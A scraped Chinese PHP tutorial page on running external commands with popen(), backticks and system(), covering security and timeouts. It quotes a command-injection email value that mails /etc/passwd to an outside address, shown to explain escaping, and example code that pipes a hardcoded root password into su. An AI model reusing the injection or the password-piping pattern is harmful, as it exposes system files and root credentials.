如何在PHP中執(zhí)行系統(tǒng)外部命令(2)_PHP教程
推薦:PHP輸出控制功能在簡繁體轉(zhuǎn)換中的應(yīng)用概要:本文對PHP的輸出控制功能進(jìn)行了簡單介紹并對其在簡繁體轉(zhuǎn)化中的應(yīng)用給出了具體思路和實例。 一 PHP 輸出控制功能介紹 PHP作為當(dāng)今流行的腳本語言之一,具有編寫簡便,執(zhí)行速度快,擴(kuò)充性好等優(yōu)點。PHP的輸出信息控制函數(shù)可以讓你控制你的腳本輸出的內(nèi)
上面的方法只能簡單地執(zhí)行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統(tǒng)用戶時,要調(diào)用su來把當(dāng)前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。
popen()函數(shù)打開一個進(jìn)程管道來執(zhí)行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那么就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一的操作模式,要么寫,要么讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或?qū)?打開的,否則必須調(diào)用pclose()函數(shù)來關(guān)閉它。
例子1:
|
以下為引用的內(nèi)容: $fp=popen("/bin/ls -l", "r"); ?> |
例子2(本例來自PHP中國聯(lián)盟網(wǎng)站http://www.phpx.com/show.php?d=col&i=51):
/* PHP中如何增加一個系統(tǒng)用戶
下面是一段例程,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
|
以下為引用的內(nèi)容: */ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s \"%s %s\"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?> |
3) 用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)
這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執(zhí)行的命令括起來作為一個表達(dá)式,這個表達(dá)式的值就是命令執(zhí)行的結(jié)果。如:
|
以下為引用的內(nèi)容: $res=`/bin/ls -l`; echo ''; '.$res.'
?> |
這個腳本的輸出就象:
|
以下為引用的內(nèi)容: hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php |
要考慮些什么?
要考慮兩個問題:安全性和超時。
先看安全性。比如,你有一家小型的網(wǎng)上商店,所以可以出售的產(chǎn)品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地址,然后把這個產(chǎn)品列表發(fā)給他們。假設(shè)你沒有使用PHP的mail()函數(shù)(或者從未聽說過),你就調(diào)用Linux/Unix系統(tǒng)的mail程序來發(fā)送這個文件。程序就象這樣:
system("mail $to < products.txt");
echo "我們的產(chǎn)品目錄已經(jīng)發(fā)送到你的信箱:$to";
?>
用這段代碼,一般的用戶不會產(chǎn)生什么危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:
'--bla ; mail [email protected] < /etc/passwd ;'
那么這條命令最終變成:
'mail --bla ; mail [email protected] < /etc/passwd ; < products.txt'
我相信,無論哪個網(wǎng)絡(luò)管理人員見到這樣的命令,都會嚇出一身冷汗來。
幸好,PHP為我們提供了兩個函數(shù):EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個字符串中所有可能瞞過Shell而去執(zhí)行另外一個命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入(<)等。函數(shù)EscapeShellArg是用來處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉(zhuǎn)義,這樣這個字符串就可以安全地作為命令的參數(shù)。
再來看看超時問題。如果要執(zhí)行的命令要花費很長的時間,那么應(yīng)該把這個命令放到系統(tǒng)的后臺去運行。但在默認(rèn)情況下,象system()等函數(shù)要等到這個命令運行完才返回(實際上是要等命令的輸出結(jié)果),這肯定會引起PHP腳本的超時。解決的辦法是把命令的輸出重定向到另外一個文件或流中,如:
|
以下為引用的內(nèi)容: system("/usr/local/bin/order_proc > /tmp/null &"); ?> |
分享:PHP4之COOKIE支持詳解PHP4之COOKIE支持詳解 建立商業(yè)站點或者功能比較完善的個人站點,常常需要記錄訪問者的信息,在PHP中提供了兩種方便的手段:session和cookie功能.為了永久的保持用戶信息,則cookie是最便捷的手段.在這里我將為大家詳細(xì)的講解cookie的功能及使用方法. 一: 設(shè)
- PHPNOW安裝Memcached擴(kuò)展方法詳解
- php記錄頁面代碼執(zhí)行時間
- PHP中獎概率的抽獎算法程序代碼
- apache設(shè)置靜態(tài)文件緩存方法介紹
- php對圖像的各種處理函數(shù)代碼小結(jié)
- PHP 關(guān)于訪問控制的和運算符優(yōu)先級介紹
- 關(guān)于PHP語言構(gòu)造器介紹
- php/js獲取客戶端mac地址的實現(xiàn)代碼
- php5.5新數(shù)組函數(shù)array_column使用
- PHP preg_match的匹配多國語言的技巧
- php 中序列化和json使用介紹
- php采集文章中的圖片獲取替換到本地
- 相關(guān)鏈接:
- 教程說明:
PHP教程-如何在PHP中執(zhí)行系統(tǒng)外部命令(2)
。